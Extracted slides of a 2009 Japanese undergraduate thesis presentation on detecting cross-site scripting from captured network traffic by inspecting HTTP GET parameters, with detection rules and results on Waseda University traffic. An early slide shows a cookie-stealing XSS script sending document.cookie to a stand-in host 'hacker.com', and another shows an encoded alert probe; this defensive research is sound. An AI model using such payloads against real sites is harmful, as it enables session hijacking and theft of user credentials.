後藤研究室 1G05R191-9 米山 諒 卒業論文発表 2009/2/4 1 インターネットの普及に伴い,クロスサイトスクリプティング (XSS), Phishing, SQL-Injection など Web 上の脆弱性 が問題視されている。 脆弱性を持つサイトが数多く存在する。 未対応のまま放置されているものもある。 Web サーバ側の対応だけでは十分ではない。 卒業論文発表 2009/2/4 2 増加傾向にある Web 上の脆弱性による脅威を防ぐ ために,Web サーバの外で対策を行う。 クライアント側の対策では,ユーザの操作や設定に よって機能を無効化してしまう恐れがある。 サーバとクライアントの中継地点での対策を提案する。 卒業論文発表 2009/2/4 3 悪意のあるスクリプトを含んだ URI <HTML> <BODY> http://victim.com/foo.cgi?q= <html_javascript_exploit_code> <B>Web Page Content</B> The JavaScript code within the URL is echoed by the website and executed in the users browser. click <SCRIPT> var img = new Image(); Img.src = ‘http://hacker.com/’ +document.cookie; </SCRIPT> </BODY> </HTML> 10.19.19.1 10.19.19.1 10.19.19.1 10.19.19.1 10.19.19.1 10.19.19.1 10.19.19.1 10.19.19.1 10.19.19.1 – – – – – – – – – 10.19.19.1 10.19.19.1 10.19.19.1 10.19.19.1 10.19.19.1 10.19.19.1 – – – – – – “GET / HTTP/1.1” 200 81 “GET / HTTP/1.1” 200 81 “GET / HTTP/1.1” 200 81 “GET / HTTP/1.1” 200 81 “GET / HTTP/1.1” 200 81 “GET / HTTP/1.1” 200 81 “GET / HTTP/1.1” 200 81 “GET / HTTP/1.1” 200 81 “GET /cookie_data HTTP/1.1” 200 335 “GET / HTTP/1.1” 200 81 “GET / HTTP/1.1” 200 81 “GET / HTTP/1.1” 200 81 “GET / HTTP/1.1” 200 81 “GET / HTTP/1.1” 200 81 “GET / HTTP/1.1” 200 81 卒業論文発表 2009/2/4 4 Cookie を盗まれてセッションハイジャックされる。 意図しない Web サイトの機能を実行される。 ページの任意の部分を変更される。 DoS 攻撃に利用される。 Phishing (フィッシング詐欺) に利用される。 マルウェアをダウンロードさせられる。 卒業論文発表 2009/2/4 5 ネットワーク上を流れるトラフィックデータを利用して, クロスサイトスクリプティング (XSS) の検知を行う。 1. tcpdump のデータから HTTP ヘッダを抽出する。 2. HTTP ヘッダから GET メソッドを抽出する。 3. GET メソッドで渡される引数を解析して検知する。 イーサネット IP ヘッダ TCP ヘッダ ヘッダ アプリケーション データ イーサネット トレーラ メッセージヘッダー 空行 (CR+LF) メッセージボディ 卒業論文発表 2009/2/4 6 HTTPリクエスト (スクリプトの抽入) HTTPリクエスト 攻撃者 レスポンス HTTPリクエスト 一般ユーザ Webサーバ GET /xss.cgi? form=%3Cscript%3Ealert(XSS)%3C%2Fscript%3E Host: www.exsample.com Accept: text/html; Accept-Language: ja, en-us; Accept-Encoding: gzip,defate Accept-Charset: Shift_JIS,utf-8; Cookie: SSID=123abc 卒業論文発表 2009/2/4 7 1. サンプルデータによる提案手法の検知精度 ◦ XSSed – XSS (Cross-Site Scripting) information and vulnerable websites archive http://www.xssed.com/ ◦ XSS Workshop http://blogged-on.de/xss/ ◦ XSS Challenges http://xss-quiz.int21h.jp/ 2. 実際のトラフィックデータへ提案手法の適用 ◦ 早稲田大学のトラフィックデータを利用する。 卒業論文発表 2009/2/4 8 提案手法A の検知ルール ◦ ◦ ◦ ◦ <script> タグ javascript: によるスクリプト onClick イベント onMouseOver イベント 検知手法B の検知ルール ◦ <script> タグ ◦ javascript: によるスクリプト ◦ イベントハンドラ (正規表現によるマッチング) 卒業論文発表 2009/2/4 9 Internet Router Waseda Network Router Capturing Machine 卒業論文発表 2009/2/4 10 パケット数 GET メソッド 提案手法A 提案手法B 1,004,804 76,116 5,016 5,066 パケット数は HTTP パケットの総数 GET メソッドには画像ファイルなどの呼び出しを含む 卒業論文発表 2009/2/4 11 <script> タグ ◦ エンコードで隠ぺいしたスクリプトの検知が可能であった。 Javascript: によるスクリプト ◦ 確実に検知できることを確認できた。 イベントハンドラ ◦ 属性値が「’」もしくは「”」で囲まれているものを検知できた。 卒業論文発表 2009/2/4 12 検知した XSS のパケット数 [packet] 100 90 提案手法A 80 提案手法B 70 60 50 40 30 20 10 0 卒業論文発表 2009/2/4 13 まとめ サーバとクライアントの中継地点の対策を提案した。 HTTP ヘッダ中の GET メソッドの特徴を利用すること で,クロスサイトスクリプティング (XSS) の検知が可能 であることを示した。 今後の課題 検知の精度 (見逃しと誤検知) リアルタイムでの検知 卒業論文発表 2009/2/4 14 卒業論文発表 2009/2/4 15 Snort ◦ TCP, UDP, ICMP, IP の解析を行うことができる。 ◦ 上記以外のプロトコルについては記録のみを行う。 Proxy サーバ ◦ Proxy サーバを利用して,HTTP プロトコルを解析する。 ◦ HTML 文章まで解析することで検知を行うことができる。 卒業論文発表 2009/2/4 16 メソッド GET POST PUT HEAD DELETE OPTIONS TRACE CONNECT 内容 リソースの取得 エンティティボディの転送 ファイルの転送 メッセージヘッダーの取得 ファイルの削除 サポートしているメソッドの問い合わせ 経路の調査 プロキシへのトンネリング要求 卒業論文発表 2009/2/4 17 GET http://www.exsample.com/ HTTP/1.1 リクエストライン Accept: image/gif, image/x-xbitmap, image/jpeg,, */* Accept-Language: ja User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0) Accept-Encoding: gzip, deflate Host: www.exsample.com Proxy-Connection: Keep-Alive 各種ヘッダーフィールド 空行 (CR+LF) 卒業論文発表 2009/2/4 18 HTTP/1.0 200 OK Date: Wed, 22 Sep 2004 05:21:33 GMT Server: Apache Last-Modified: Fri, 28 May 2004 12:27:38 GMT Etag: "6eb21-291-40b7303a" Accept-Ranges: bytes Content-Length: 657 Content-Type: text/html Proxy-Connection: keep-alive 空行 (CR+LF) <html> <head> ・・・ </html> ステータスライン 各種ヘッダーフィールド メッセージボディ 卒業論文発表 2009/2/4 19 ハンドラ名 onBlur onClick onChange onFocus onLoad onMouseOver onSelect onSubmit onUnload イベントの発生するタイミング フォーカスが外れたとき クリックされたとき フィールドの内容が変更されたとき フォーカスされたとき 読み込みが完了したとき 要素上にマウスカーソルが重なったとき フィールドが選択されたとき フォームの内容を送信したとき 別ページに移動するとき 卒業論文発表 2009/2/4 20 表示 & < > " ‘ 実体参照 & < > " ' UTF-8 %25 %3C %3E %22 %27 卒業論文発表 2009/2/4 21 HTTP リクエスト Internet Client PC レスポンス Web Server 卒業論文発表 2009/2/4 22
© Copyright 2024 ExpyDoc